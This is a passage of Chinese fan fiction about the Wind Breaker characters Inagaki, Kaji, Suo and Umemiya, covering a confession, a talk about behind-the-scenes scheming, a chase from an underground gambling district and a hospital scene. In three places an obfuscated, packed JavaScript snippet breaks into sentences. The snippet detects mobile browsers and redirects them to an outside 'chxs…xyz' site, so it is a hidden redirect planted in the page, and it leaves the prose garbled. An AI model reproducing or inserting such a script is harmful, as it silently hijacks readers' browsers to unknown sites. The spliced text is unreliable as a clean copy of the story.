“为什么?”稻垣语气依然柔和,只是脸上没什么表情,她拎起一根手指不紧不慢地戳了戳梶的胸口,“莲,你到底凭什么说这种话呀,又不是男友。单单只是青梅竹马的话,这么强的占有欲是不允许的哦。” 胸膛里一口疯狂鼓胀起来的气顶得梶五脏六腑七上八下,他手足无措,烦乱不已,不知道该怎么办才好。 放她离开的话,心里的野兽会冲出来把他撕碎的——这一次,在困兽的怒火下罹难的毫无疑问将是梶本身。 “……我不管!”梶一下子拔高了嗓门,用力抱紧了她,死死箍住她的腰,生怕留一点缝隙她就会像落在河川上的花瓣,顺水飘走。 稻垣被他勒得险些喘不上气,赶忙拍他腰侧:“喂喂喂,别抱这么紧……!” 梶低下头,用力埋在她颈间:“我不要,我不要!稻不可以离开我!” 稻垣被他的头发蹭得发痒,想拨开一点手又被他扣住了动不了。她顿感头大如斗。 话都掰碎了说到这份上了,怎么还是听不懂,笨死他算了。她怎么就摊上这么个死脑筋的小朋友。 “早知道会变成这种情况,几年前我就应该和你保持距离,连手也不给你牵。”稻垣的声音渐渐低下去,隐隐有些厌烦,“真是的,事到如今还是一点自觉都没有。” 梶僵了一下,一时气短,喉音隐隐发颤:“稻……稻讨厌我吗。” 完了,欺负过头了,稻垣心道不妙。 “没有,我不讨厌你的。”她赶忙放软了语气。 “那为什么说那种话……和我保持距离、不让我牵手什么的。” 因为你不开窍呀。稻垣又想翻白眼了。 “莲,先松手。” 梶不听,扣得更紧了。 “松手!看着我的眼睛说话——不然我以后都不理你了!” 梶立刻放开她退后一步,手还意犹未尽地往前探了探,想拉她,最后又收回去。 稻垣一步上前,仰头逼近他。她看见梶灰蓝色的眼睛里蒙着的那层锐度尽数破碎,融化成片薄支离的微光,几乎要顺着眼眶淌下来。 稻垣有些无措。然而她和梶不一样,不会轻易被人要哭不哭的样子吓住,就此心软。她硬是忍住了没有马上哄他,心想按照她的脾气,肯做到这个份上已堪称仁至义尽——也不出去打听打听这个镇上有多少男孩子想跟她告白,她却在这里费了老大力气调教自己的青梅竹马。 她花在梶身上的时间和精力若是肯分出一半拿去泡其他男孩子的话,她哪怕想一周换一个男朋友估计都有人上赶着排队等位。 “莲,你喜欢我吗?”她问。 梶慢慢瞪大了眼睛,迟了半拍才后知后觉地反应过来,陡然红了脸,梗着脖子半晌说不出话。 稻垣感觉自己真快失去耐心了,她发誓这是她最后一次努力了,梶再不给个准话她绝对扭头就走:“答案是否的话,你就算躺下打滚哭天喊地我也不会管你的。” “……是的话呢?”“是的话就恭喜你,和我两情相悦。” “两……?”“就是我也喜欢你,会和你一直在一起的意思。” 梶不出声,头压得很低很低。 “不说话默认拒绝哦?”稻垣撇撇嘴,“搞得像我在强迫你似的……” 她话音未落,梶已经用力抱住了她。 “那我喜欢稻,我要和稻一直在一起!” 这又是什么讲法?稻垣无语,有种考试的时候把答案塞给他掐着他的脖子逼他往卷子上抄的感觉。 怎么回事?纯情系这么难搞吗? 算了算了。她放弃。 她回拥住梶。顺便冷冷地扫一眼不远处探头探脑的路人。 “看什么看,没见过哄男朋友的吗?” 19. 面子和里子 迈入六月的第一个周日,苏枋在图书馆的进门处的休息区坐了一个下午,傍晚时分见到了姗姗来迟的稻垣。 她依然穿面料厚重的长裙,外面罩一件薄薄的线衫。她背着包走过,余光瞥见苏枋,停下了脚步。 苏枋端端正正地坐着,手里把着两罐罐装绿茶。 “稻小姐。”他抬手,递一罐给她。 “冷的我不喝。”她一点不委婉。“热的。”苏枋微笑。 稻垣在原地立了一会儿,伸手接了过来,端在手里,顺了一下裙摆在他身边坐下。 “找我有事?”“嗯。接下来一段时间应该挺忙的,有些话,不得不抽空同稻小姐当面讲一声。”“讲。” “上次送稻小姐回去的路上,您和我说的话我仔细考虑过了。”苏枋缓声道,“稻小姐能不能当作我们没有谈过这个话题?” 稻垣挑了挑眉,搭着茶罐的手指动了动,没说话。 “我不会告白的,我的心情我会自己处理好。稻小姐和我仍然当普通朋友那样来往,”苏枋的声音落下去,“可以吗?” 稻垣沉默,调整了一下坐姿,问他:“你刚才说接下来要忙一阵子,是发生什么事了吗?总不能是为了考试吧。” 苏枋失笑:“稻小姐能不能别老是拿这件事来取笑,我是不需要复习也能通过考试的那类学生哦。” 稻垣捧场:“噢,厉害厉害。” 苏枋感觉微妙。他想,稻垣今天是不是心情挺好的? “是以前离开了风铃的人来下了战书,风铃两周后要开战了,接下来是备战期呢。” “以前离开了风铃的……”稻垣回想了一下,食指轻轻点了点额角,“哦,棪堂、焚石……‘烽’那群人是吧。” 苏枋不怎么意外:“稻小姐认识他们?” “嗯,梅当初统一风铃高中遇到的最大的一道坎嘛,我当然认识。”稻垣耸了耸肩,嘴角勾了勾,语带讥诮,“其实不止‘烽’,梅入学后收拾过的那一批同期和前辈,我全都认识,能一个不落地叫上名字;只不过我认识他们,他们可不认识我——估计到最后都想不明白到底是谁在暗地里给他们使绊子吧。” “……稻小姐好像随随便便地吐露了一些不得了的秘密啊。” 稻垣一摆手,没接他这一句,反而饶有兴致地另起了个话头:“苏枋,梅身边的那四个人各有作用,你是怎么看待这一点的?” 苏枋思考了一下,答得很谨慎:“说实话,我对四位前辈称不上了解,不过单从四众的命名和划分来看,也不是不可以做一些推测。” 稻垣阖眼:“说来听听。” “持国天王主慈悲,保护众生、护持国土,是中道的象征。参照椿野哥的性格以及我与他来往的经验,我想椿野哥多半是维护关系,替梅宫哥关照后辈的存在;多闻天王是驱退怨敌、镇守国土的神将,也就是一骑当先的战士,这无疑是柊哥的定位;至于增长天王和广目天王,说心里话我其实有些疑惑呢,倘若对调一下,会不会更合理一些? “增长令善众斩断烦恼,增长智慧和善根,这是象征谋士那样的角色吧——这次级长级别的作战会议,是水木哥主持说明并且给我们下达任务的,他本人也给人以那样的印象,但增长众的领头人却是桃濑哥。 “而广目天王以天眼观望世界——这大概就是负责情报搜罗这一类的工作的人。桃濑哥行事作风都很低调,他好像习惯降低自己的存在感,这样的人不容易被人记住,因而打探消息时行事就很便利,但广目众是水木哥麾下,这也和我的预期不一致。” 稻垣听了,定定地看着他,目露赞赏:“苏枋,你真的不简单——换了你那些同期中的任何一个,遑论理解这些典故象征以及背后的逻辑关系,光是把这些话说顺溜,都得把他们难得仰倒吧。” “人各有所长。”苏枋微笑。 “你的疑惑不无道理,也很自然——不过这恰恰证明了梅的布置是正确的。桃濑和水木对应的王并没有出错,水木的本职是收集信息,做情报分析以支撑最终决策,他也会帮忙出主意,但主要负责出谋划策的那个人,是桃濑。” “欸?是这样吗?”这是出乎苏枋意料的答案。 稻垣点头:“这是策略,为了保护一个团队的核心大脑——表面上可能看不出来,但桃濑这个人思路开阔、脑子灵光,经常有出其不意的好点子。他行事低调不是为了打听消息,而是需要这种低存在感迷惑他人的视线;因为他战斗力不是很强嘛,很容易被针对,而台前出演他那个军师角色的是水木,这也是为了保护桃濑。 “要知道,团队中的暴力执行者必须具备强大的威慑力,而谋士恰恰相反,需要避人耳目——比方说中国的堂口,身手最厉害的双花红棍无人不知无人不晓,而军师白纸扇的真面目则千闻百说,有可能是任意一个平平无奇路过的普通人。” 苏枋暗自吃了一惊——她怎么连红棍和白纸扇这种黑话都知道? “所以跟随梅的这四个人,包容调和有椿,冲锋陷阵有柊,出奇制胜有桃濑,广布耳目有水木。这四个人的支持能让他身边聚集众多追随者,组建防风铃,亲手重构街区的秩序并长久地维持这个局面……然而,”稻垣话锋一转,“这样还不够,梅还有一部分工作需要有人替他承担。” 苏枋眼光微沉,他见稻垣嘴唇开合,但没有出声,他在心中跟着她的口型默念:脏活。 稻垣端详他的神情,便晓得他领会了她的意思。 “苏枋,你想想看就明白了,在统一风铃高中的过程中,梅做了哪些事呢?振臂一呼,迎者如云,改朝换代,天下归心。” 苏枋有所预感,顺着她的话头往下引:“那您又做了什么呢?”“我嘛——挑拨离间,阳奉阴违,引风吹火,逐个击破。” 苏枋“噗嗤”一声笑出来:“稻小姐,哪有这么说自己的。” 主要是她看起来还怪得意的。 稻垣一点不觉得有什么:“事实如此嘛。要想改变一个环境里的既定格局,从外部着手瓦解,将固有的根系连根拔起,围绕新的中心建立一套组织架构,然后春风化雨地消解过去的偏见和分歧——这需要一位极具个人魅力的领袖,以及一个执行力强悍的团队,但仅仅如此还不够;那些上不得台面的勾心斗角和阴损活计也得有人去做,那就是我的工作——梅宫一负责撑起面子,而我要为他补好里子。 “当然,我不是说我去参与了什么实际行动,我只是给他们出主意罢了,具体是水木给我搭手去做的。” “水木哥吗?”苏枋略一思忖,悟了,“情报渗透啊。”稻垣大方地承认:“对,网络上造个谣啊,给人递递匿名信,找几个人扮作不知情的外宾聊天的时候说道点挑起事端的闲话啊,再策反几个人关键时刻煽阴风点鬼火,打打信息差骗他们上当什么的……诸如此类,都是我出的主意。” 苏枋失语。稻垣说的这些确实挺上不得台面的——但也不可或缺。苏枋能理解,倘若没有稻垣暗地里做这些手脚,梅宫要靠个人魅力和纯粹暴力统一风铃,未必不能实现,只是进度恐怕要被大大拖慢。 稻垣伸了个懒腰:“不过如今是不用费那些心思了。梅呢,是可靠的大哥哥,天天傻乐,到处开解和青春期抑郁对抗的小孩;我呢,兢兢业业赚钱,当个无情吐钞票的提款机,让我的大哥有资本整天傻乐,没有后顾之忧地靠拳头和人品摆平一切,至少不会在钱的问题上受到掣肘。” 话及此处,稻垣蓦地面露鄙夷:“不过梅这次没找我,大概是因为他找到更值得信赖、可以托付的人了吧——我倒是挺感谢他的,因为我最烦到处打架惹事的不良少年了,我打心底里一点都不想掺和你们的事。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15059621|162961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “梅宫哥是不想把稻小姐置于危险的境地吧。”苏枋依然笑得温和,“那稻小姐能帮我出谋划策吗?这次樱君拜托我制定行动方案来着。” 他以为稻垣会呛他,没想到稻垣心平气和地摇摇头:“你不需要我。你这么聪明,自己就能做得很好了。” 苏枋不乐意:“欸——拿这种话敷衍我啊。” 稻垣被他逗笑了:“我没在敷衍你。再说了,樱托付给你了吧?那你好好干啊。” 苏枋正色道:“有在好好做啊——我这不是在认真请教有经验的人吗?” 稻垣避而不答,摸了摸手里茶罐的圈口:“我扶持的人是梅,因为我选择了他和他的理想。苏枋,你也有你选择的人,不是吗?” 苏枋怔了一下,轻声叹息:“是啊……您说得没错。” 稻垣瞟了他一眼,拢了拢外衫的前襟:“梅是我的哥哥,我从小到大受了他那么多照顾,总是要回报他的。他为我操心太多,我嘴上不说,但都记在心里。 “所以我会听他的话,尽我所能,和风铃一年级的孩子们好好相处——自然也包括你,苏枋。” 苏枋心下一震。她缓缓站起身,转过来面对他。 “我那天的态度太生硬了,或许不讲道理,要是叫你不开心了,我和你道歉。对不起,苏枋——我看得出来,你不是那种轻浮的人。 “至于感情,我倒也不怕和你说实话:我曾经在一个人身上倾尽了所有,而结果仍不尽如人意;自那以后,我处理这些问题有时难免急躁。” 苏枋觉得自己喉咙又被狠狠攥紧了。而稻垣似乎一无所觉,桃花眼安然垂望,四下漫漶的眸光聚拢,尽数倾落在他身上,犹如春夏交替之际压着墙垣向外延展的花枝,满开后次第谢落,艳丽又悲凉——被她这么注视的时候,苏枋相信,他这个年纪的人少有能稳住心跳的。 “如若你在遵守规则的前提下,还想同我保持来往,那么真心换真心,苏枋,我就结交你这个朋友。” 稻垣终于拉开了罐装绿茶的拉环,举到嘴边碰了碰唇。 她耐心细致地做了这么长的铺垫,原来是在这儿等着他。 她是了解他的。不如说她不动声色地看透了每个人的心思,只是出于礼貌和深藏内心的柔软而装作漫不经心,缄口不言。 苏枋握着茶罐的手指悄悄收紧了:“稻小姐愿意原谅我先前的不谨慎吗?” “我自愿忘记今天以前的一切。” 这就是稻垣的答复。她笑容真挚,坦荡,又溢满了难言的温柔。 她垂下手,理了理笔直垂坠的裙摆:“苏枋,去做你该做的事吧。两周后和棪堂他们开战是吗?那我就在这里先祝你武运昌隆,旗开得胜。” 苏枋颔首:“谢谢。” 稻垣走之前在他头顶揉了一把:“谢谢你请我喝茶。” 稻垣离开很久之后,苏枋仍坐在那里。 室内吊灯的冷白光线包裹他的发梢和脸颊,勾出他低沉冷淡的眉眼,近乎凝滞。 他在想,稻垣何以在他面前如此坦荡。她凭什么在他面前轻轻松松地吐露那些从没有对他人说过的话,吐露她缄默而黯淡,又深厚得无以复加的爱意。 那爱本是不可逾越的高山,亦是海渊沉船,宁可在最深的黑暗里腐烂生锈,也不肯将怀中的宝藏示人。 她对梶倾尽所有,她对梅宫也不遗余力。樱的判断是正确的,她的确是不吝啬感情的那种人,只要为她所选择,她就决不畏首畏尾、瞻前顾后。 是,没错,真心换真心。 他回想她的一字一句一颦一笑,回想她说这话时端起茶罐碰唇的那个动作,捧起茶罐,轻轻吻了罐口。 好烫。真心好烫啊。 可苏枋要换的不是这样的真心。 他不想遵守规则。 他想染指她的爱。 20. 横生变故 风铃高中新旧两个代际之间爆发的冲突最终止戈于六月下旬。优柔的小阳春彻底收敛声息,早夏时节稍嫌反常的酷热来得急,去时也匆匆,空气日益染上青苔气味的潮湿感,鸟雀的羽毛与店面门口的布挂帘都更显几分沉重。 一笑泯恩仇对高中生来说老气得没法想象,拳脚相向本质上也只是争吵也无法建立沟通后的手段升级。苏枋始终没有高屋建瓴地看待过同代之间的这些打打闹闹——要像个成熟的大人那样来思考嘛;尽管青春期少年喜欢给莽撞不过脑的行为赋予过多的含义,苏枋也不排斥在这些团队行动中承担责任,和朋友们培养感情,但他多数时候只把不良少年用热血和高昂的语汇装裱起来的荣誉和理想视作生活的调剂——不过他确实没想到身边会有人比他的观点还要消极,乃至不屑一顾。 “让风铃回到从前的格局?棪堂、焚石是这么说的?”稻垣听苏枋大略讲了讲前因后果和那一晚波澜壮阔的集体斗殴,率先挑刺的反而是最初的动机。 “对。”苏枋刚应声,她嘲弄式的抱怨就一口气不歇地跟上了节奏:“我真心希望,高中生读不进书又实在太闲的话,多出去打打工,哪怕去做志愿服务也好,至少干点对普罗大众有实际贡献的事。” 苏枋想笑,又不得不忍住,总觉得笑出来对所有不在场的朋友们来说都很失礼——他的自律和教养总在这种没必要的地方发挥作用。 稻垣嗤道:“我对那两个人的看法倒也和从前一样。焚石这个人,我的评估建议是捆起来送医院做全套筛查,超雄、高功能自闭还是脑干缺失,三样至少占一样以上,另外最好给额叶动个手术,让他能安生回归社会;至于棪堂,他就是缺个人每天揍他,不然他皮痒——他俩一块儿胡闹挺好的,别来牵累梅和樱。” 这下苏枋终于可以笑出声了。 “题外话,我想听听稻小姐对狮子头连的看法。”苏枋真心好奇。“狮子头……?”稻垣眉头紧锁,接着一敲手,“啊,酒吧街那群人是吧?我记得他们的团体标志是个奇丑无比的狗头。”“……人家是叫狮子头哦。”稻垣毫不掩饰自己淡淡的嫌弃:“怎样都行吧——以兔耳为典型代表,那就是群精力过剩又爱钻牛角尖的傻子,人均多动症,除了十龟,他是早衰。” 苏枋笑得不行。笑够了,他把话题扯回来:“稻小姐认为,烽的意图从一开始就注定落空吗?那天晚上,即使是我们,也一度担心梅宫哥能不能扛得住。” 稻垣回答这个问题的角度又很另类:“如今的风铃高中是梅宫一一手缔造,但不代表拿掉梅宫一,风铃就会一夜回到解……回到从前。” “哦……”他试图跟上她的思路。 稻垣阖了阖眼,表情平淡得有些难以分辨:“从混沌中建立秩序,从蒙昧中召唤理性,文明的进程是不可逆的,哪怕文字断代典章焚尽,只要人们一度体会过这种平静、体面又有尊严的生活,就无法再轻易向倒行逆施妥协。” 不知道从什么时候开始,稻垣和他聊天的措辞越来越复杂抽象、也更加精炼概括了。 苏枋接口道:“就像偷吃过蜜糖的小孩会永远记得那种滋味呢。” 稻垣满意他的理解能力,欣然点头:“正确的理念是火种,扔进风里就能燃烧。梅带来了火种,而我猜测,他大抵也已经找到能为他延续火种的风了。” 她嘴上说的是梅宫,眼里含笑看着苏枋,话里的意思,指的却是不分明却特定存在的某个人。 她或许对樱已有了一套看法——明明也才见过两次面吧。 苏枋不置可否,也跟着笑笑,权当回应。 这段时间他们没有见过面,倒是在Line上恢复联系。苏枋偶尔会拿些空穴来风的由头询问她的想法,而稻垣往往不吝分享她的观点。 苏枋注意到她不是为人凉薄深沉,可能只是单纯找不到能畅谈的对象。就像她自己开玩笑时说的,她跟念不了汉字、所有文字摄取都来自周刊漫画的决战台词、连长一点的旁白都直接跳过的那种人实在很难深入交流。 苏枋理解稻垣是拿他当朋友的,只不过骨子里还是傲慢。 好在苏枋不怎么介意。他擅长包容他人无伤大雅的怪癖,也深知每个人的坏毛病都有对症下药的方法。 “梶哥那晚上伤得有点重,在医院里躺了几天才出来的,稻小姐没去探望吗?” 苏枋这属于明知故问。他找楠见打听过,从保卫战那夜算起,直到今天下午稻垣在Line上约他去地下街,这几天里,稻垣一次都没在医院露过面,也没去见过梶——她打定主意装作一无所知,决不掺和防风铃和烽的恩怨。 “梶大概率不想我去吧。”稻垣对此没什么反应。“咦,为什么?”苏枋以为自己不会得到回答。而稻垣解释:“梶厌恶自己失去理智的样子,也不希望我看到。” 在她嘴里好像见死不救也无外乎一种礼貌尊重,可惜苏枋总是在她习以为常的刻薄和轻蔑深处刨到一丝荒芜干燥的温柔,浮灰一样扬起来又落下去,稍纵即逝。 她身上依然是浅灰色的帽衫,像一片看不出厚度的云,飘过他离去的时候,他周遭就水汽氤氲,隐隐要落雨。 素色帽衫的款式大同小异,不过她那件好像跟梶常穿的是同一个牌子,苏枋不太确定。 他不想继续谈梶的事了。 “还没问过稻小姐,修学旅行玩得开心吗,听说百花王的惯例是游轮旅行啊?”“糟透了。”稻垣语气平淡。 这倒是意料之外。苏枋来了兴致:“发生什么事了?”“被脸上笑嘻嘻但麻烦得要死的人缠上了。” 苏枋哽了一下才反应过来这话不是在含沙射影——稻垣说的是她在百花王学园的同学。 “谁呀。”“今年入校的转学生,到处参局,连过学生会几员大将,把学校上下弄得人心惶惶。”苏枋竟破天荒地从稻垣嘴里听出了几分咬牙切齿的意味,“本来跟我没什么关系的,不知道哪个缺心眼儿的告诉她我赌运特别好,就被缠上了——修学旅行也没放过我,烦都烦死了。” “能让稻小姐给出这种评价,我都好奇那是什么样的人了。”“长相可爱的美女,运气和技术都出类拔萃,可惜是个赌疯子。” 苏枋寻思这描述好像和稻垣自己也相差不远——嘴上嫌烦,难不成是意气相投? 还没等他继续旁敲侧击,稻垣少见地倒起苦水来,表现出惊人的倾诉欲:“苏枋,你都不知道这有多离谱——在百花王那种人均家里有矿的贵族学校,我这种没背景的特招生最忌讳暴露家底。那些少爷小姐们就算一局两局赢不了我,十局百局次次全押也总有一次能要我的命,庄家能全赢说到底是因为资金!所以我参赌习惯找人搭手,躲在背后抽成就够我赚的,可是那个烦人的转校生,就只盯着我要跟我单挑!我已经被她搅局搅得大半个月没进项了,再这样下去,我会交不够缴纳金变成‘杂猫’的!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15059622|162961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “杂猫?”这个猝然冒出来的、不伦不类的词引起了苏枋的注意。 “就是……”稻垣刚要解释,猛地收声,视线聚焦到前方,苏枋顺着看过去,意识到大事不好。 第一次打德扑那桌的荷官迎面而来,旁边那个叼了一支烟拉杂闲扯的青年也是个面熟的——苏枋认人的本事不及榆井,不过记性是不差的,但凡起过冲突的对象大体都记得一二——那人是稻垣回镇上那天,拦住她强行搭讪结果被梶和樱揍了的那个混混。 四下里目光两相一撞,稻垣第一反应是压了压帽檐——这很糟糕,非常刻意且将她的心虚暴露无遗,更何况她这张脸抹了墙灰扔进人堆里也仍不减突兀,更不要说身边苏枋的眼罩看过就叫人不能忘记。 “喂,你们两个不是高中生吗?!来地下街晃悠是怎么个意思?!” 苏枋幡然悔悟。他们还是太小了,纵使各有各的天赋异禀,仗着几分过人的聪明,在大人的泥滩里蹚来蹚去也是早晚要出事的——一二不过三,今天第三次,已经算晚。 高中生进地下街已十分出格,旁边更有眼睛毒辣的认出了当年靠一手风生水起的国士无双打出名堂的正东风强运姬——早就上了地下街黑名单的人又大摇大摆出现了。 场面眼见着要往一发不可收拾的方向发展——羊入虎口时逞勇斗狠最愚蠢,苏枋手上虚虚实实应付了几招,晃倒两个人后,果断拉起稻垣夺路而逃。 他们顶着晚风和天里一片黯淡星,沿着铁路边的芦苇丛一路狂奔。 苏枋对京成街一带算不上熟悉,虽说六方一座因着樱和椿野,和风铃有交情,前不久也刚出手帮过他们,但贸然把地下街的纠纷牵扯到对方地皮上——苏枋心里有点拿不准这个度。 他觉得稻垣的情况还是太敏感了。 “稻小姐!”他喊她一声权当提醒过了,反手把她拽过来。 “什么……?!” 稻垣猝不及防失去平衡撞进他怀里,尖叫都堵在了喉口。苏枋揽住她,单手护住她脑后,推开茂盛的芦苇丛重心仰倒,顺着路缘陡坡直接滑下去,滚了几圈,苏枋看准时机抬腿抵住铁轨边隔离用的防护网,稳稳当当刹停。 芦苇荡分开又合拢,影子被灰黄夜风吹盖,地下街的打手纷纷攘攘跑过,没过多久就失去了目标。 确认威胁解除后,苏枋扶了扶稻垣肩膀,询问道:“稻小姐,没受伤吧?” 要害都护住了,也有他垫在下面当缓冲,落地最重的那一下是他承受的——可苏枋一直记得榆井提过,稻垣身体不好,不能受累,他对自己再有信心也还是会担心。 稻垣没有回答,伏在他襟前,大口大口喘息。 苏枋回了神,冒出的第一个念头是她很轻——轻得有些过分了,覆在他身上感觉不到太多分量,嶙峋的骨头硌痛了他。 苏枋下意识轻触她后背,隔着帽衫也摸到一手冰冷的潮气——他蓦地发现稻垣状态不对劲。她呼吸费劲,进气很深,面色惨白,眉眼微湿,汗水挂落满脸,还在不断淌进领口,不知道的看见她还以为她头上有一片专属云区,刚下过大暴雨。 “稻小姐?!” “苏枋,我,我……喘不上来……”她艰难地抬起头,汗如雨下,呼吸节奏紊乱气息溃散,她揪紧了胸口的衣料,从喉咙里勉强挤出不连贯的字句,碎珠子落盘似的敲得苏枋脑子里一阵当啷响。 “心脏……有点难受。” 21. 包庇 苏枋最终送稻垣进了急诊。 他第一次对榆井所言“稻姐姐身体很差”,以及稻荷神社的巫女口中“怕她哪一天突然夭折”有了确切的概念。 接诊的医生在紧急处理后严厉呵斥了他,说怎么能让她做剧烈运动,万一心肌缺血猝死了谁负责——苏枋这才知道稻垣以前做过瓣膜修复手术,医生原本建议直接换瓣,最后因费用高昂而作罢。 稻垣受不得劳累,更不能剧烈运动,因为她的心肺功能比常人要差不少。 苏枋在病房里等她转醒,期间深刻反思了自己的大意和莽撞。其实就算一个人赤手空拳把地下街的混子全都撂倒,苏枋也并非全然没有把握,只不过他优先考虑了省时省力的做法。打架不挂彩最好,不打架就能解决问题更好,苏枋一贯不是一碰上事儿就诉诸暴力的类型,兵不血刃既是风格又是素养——可他没想到自己的决策几乎是把稻垣往死路上推。 而稻垣的身体状况,但凡事先多花点心思探听一下,摸个底,也未必就不能掌握,苏枋不相信自己撬不开知情人的嘴。 上心了,但又没完全上心,做事瞻前顾后半吊子,就是这种后果。苏枋又给自己长了教训。 蓦地,病床上的人叹出一声歉意来:“给你添麻烦了。” 苏枋转过头去看她,两相对视一眼,他意会,起身把稻垣扶起来,往她身后垫一个枕头:“没有,是我草率了。” 稻垣接过他递过来的水杯:“当时那种情况,你的判断是正确的——事情变成这样,各种意义上都是我的责任。” 苏枋不置可否:“医生说没有大碍,但要静养。”“嗯。”她习以为常的态度就好像早就对这些叮嘱烂熟于心。 苏枋思忖再三,做出了决定:“稻小姐,您的身体状况实在太差了,这件事我要通知梅宫哥。” 苏枋不是不敢替她保守秘密,可是这对其他真心关心稻垣的人来说都不公平;至少作为她半个监护人,于情于理,梅宫都必须知情。 稻垣反应很大:“不行!梅肯定会问我晚上去哪里了。”苏枋很冷静地劝她:“地下街短期内肯定去不了了,稻小姐不如和梅宫哥实话实说。钱的问题都可以再想办法,安全最重要。”稻垣咬了咬嘴唇,面露焦躁:“不行,这真的不行……”——究竟为什么不行,到了也没说出个所以然来。 苏枋眉心微蹙。他自诩是讲道理的,也充分尊重稻垣,既然她拿不出站得住脚的理由来说服他,那他就坚持自己的看法:“我不会听您的。” “不可以!”稻垣冲口而出,继而眨了眨眼睛,不知为何眼神躲闪,“你要是告诉梅的话,我就……” 她咬了咬牙。 “我就绝对不会再联系你了。” 苏枋一愣。短短两秒的沉默,足够他仔细咀嚼一番这话里幽微的含义。 他旋即恍然:她察觉到了。当然了——谁还能怀揣着那点小心思瞒过她这双眼睛? 苏枋站了起来,退开两步,审视她的眼睛,而后轻笑出声,顿觉周遭一片混沌而他心里澄明如镜。 “呵……拿我单方面的感情来威胁我吗——我记得之前好像表达过我的态度了吧?” 他确实还没放弃打她的主意,但她这么说话多少有点厚颜无耻——既然如此,苏枋也不介意干脆把关系搞僵。 中意一个心有所属的人算他自己倒霉,但他还不至于没自尊到这个地步,要把脸面送出去给人踩。 “人渣行为呢,稻垣不梦。” 苏枋语调轻快,喉声发凉,一句话落在地上,全无重量却荡起尘埃。 “稻姐姐把我当成什么啦?只要你勾勾手指就会对你言听计从,那种随处可见的昏了头的思春期高中生?” 苏枋划开手机,调出梅宫的联系方式,当着稻垣的面摁下了拨通。 话刚出口,稻垣就意识到自己狗急跳墙的行为十分不妥,急忙道歉:“苏枋,对不起——” “道歉有用的话,这世界上就不存在这么多令人遗憾的事情了。电话我已经拨出去了。” 她没有阻拦他,只是冷静又诚恳地同他解释,语速很快,又不卑不亢:“我不是为了结果才道歉,我是为我的行为本身道歉:是我不慎重了,没有考虑你的心情。” 人都容易被一瞬的冲动裹挟,而像他们这样的聪明人却知道醒悟和补救需要多么快才能避免错误在稀里糊涂中被扩大,最后泛滥成灾。 稻垣望着他的眼睛,口齿清晰,郑重其事。 “苏枋,我很抱歉。” 换了别人,若是让稻垣这么紧张在乎,甚至几次三番主动道歉,大抵早就飘得找不着北,但苏枋心里一点成就感都没有。 他们就算谈不了恋爱,原本也有机会当一对投契的朋友;然而现在,这些退而求其次的可能性也全都刹那间湮灭在了苏枋眸底那湾冰凉的湖泊里,就此隐入尘烟。 “晚了。” 苏枋安然垂眸,湖面上春风化雨,雨落成冰。电话恰好接通,他从容不迫地换了一副口吻。 “梅宫哥,我是苏枋。能不能请您立刻到医院来?稻垣小姐的身体出了些状况。” 结束通话后,苏枋一言不发地坐了回去。凝滞不动的沉寂自空气里析出,自带叫人不敢轻举妄动的尖锐棱角。 仗着别人的好感和喜爱肆意践踏他者的感情是令苏枋不齿的行为。要包容,要尊重,要理解,要能设身处地为人着想、与人感同身受,这是苏枋领受的教诲,也是他一直以来践行的教养。 苏枋可以宽容对待稻垣那些欺瞒行径,也承受得起她不留情面的拒绝,但这不代表她能够说服不了他就堂而皇之地用感情反过来拿捏他——尤其是在他已经明确说过不会表白的前提下。 稻垣踩到雷区了——她对此颇有自知之明。她靠回了枕头上,双手交叠在腹部,敛眸沉声:“我不会要求你原谅我,不过一会儿梅要是冲我发火,希望你能回避一下。” 稻垣唇齿间藕断丝连的无奈和怯意让苏枋略感困惑。她解释说明的口吻也异常苍白:“我们上次为了这件事吵架,动静闹得很大。” “您看上去已经做好心理准备了——”苏枋顺口呛她,抬起头却又猛地哽住。 “……还好。”她照单全收。 他的眸光不期然擦过一双濒临破碎的眼睛,里面充溢着一股难以言表的情绪——稻垣撇过了脸,苏枋没有看清楚。 那转瞬即逝的光景毫无道理地叫他联想起一只跌出巢窠的幼鸟,在凛冬时节一头撞进冰天雪地的冷风。 而当梅宫踏入病房,苏枋立刻就揭开了那股说不清道不明的情绪的真面目。 梅宫越过了他径直走向稻垣, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15059623|162961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 柊从后面跟进来,向他点点头:“辛苦了,苏枋。” “是。”这种微妙的交接感让苏枋拢了拢眉心。“医生交代什么了吗?”柊询问,苏枋言简意赅一一告知。 这厢还没谈完,那边梅宫一问三句话,没受伤吧,身体还好吗——去地下街了吗。 苏枋瞳孔微缩,神经骤然一紧。 